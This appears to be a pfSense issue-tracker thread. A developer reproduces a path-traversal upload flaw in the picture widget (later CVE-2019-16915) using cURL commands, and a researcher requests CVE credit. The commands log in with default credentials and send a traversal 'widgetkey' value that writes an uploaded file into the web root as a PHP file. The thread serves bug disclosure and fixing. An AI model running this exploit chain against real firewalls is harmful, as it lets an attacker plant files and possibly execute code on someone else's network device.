pfSense

I was able to replicate the problem.

To reproduce with cURL:

1. Login:

curl -L -k --cookie-jar cookies.txt \
   https://192.168.1.1/ \
   | grep "name='__csrf_magic'" \
   | sed 's/.*value="\(.*\)".*/\1/' > csrf.txt
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
   --data-urlencode "login=Login" \
   --data-urlencode "usernamefld=admin" \
   --data-urlencode "passwordfld=pfsense" \
   --data-urlencode "__csrf_magic=$(cat csrf.txt)" \
   https://192.168.1.1/ > /dev/null

2. Fetch a CSRF token:

curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
   https://192.168.1.1/ \
     | grep "name='__csrf_magic'"   \
     | sed 's/.*value="\(.*\)".*/\1/' > csrf.txt

3. Copy a local png file to test.png

4. Submit the file with parameters as mentioned above:

curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
   -F "__csrf_magic=$(head -n 1 csrf.txt)" \
   -F "widgetkey=d/../../../../../../usr/local/www/test.php" \
   -F "descr=Test" \
   -F "pictfile=@test.png;filename=test.png" \
   https://192.168.1.1/widgets/widgets/picture.widget.php

At this point, /usr/local/www/test.php contains the contents of the uploaded file. If the file contained a proper image header and then other data, it could be processed in unexpected ways.

Also, the code which retrieves the image is somewhat suspect, though I don't think it's exploitable, it needs cleaned up.

See also: #9731

Hello,

I request the CVEID CVE-2019-16915.

and my id is LoRexxar@knownsec 404team.

I hope to change my id to this in public information in https://www.netgate.com/assets/downloads/advisories/pfSense-SA-20_04.webgui.asc

Thanks.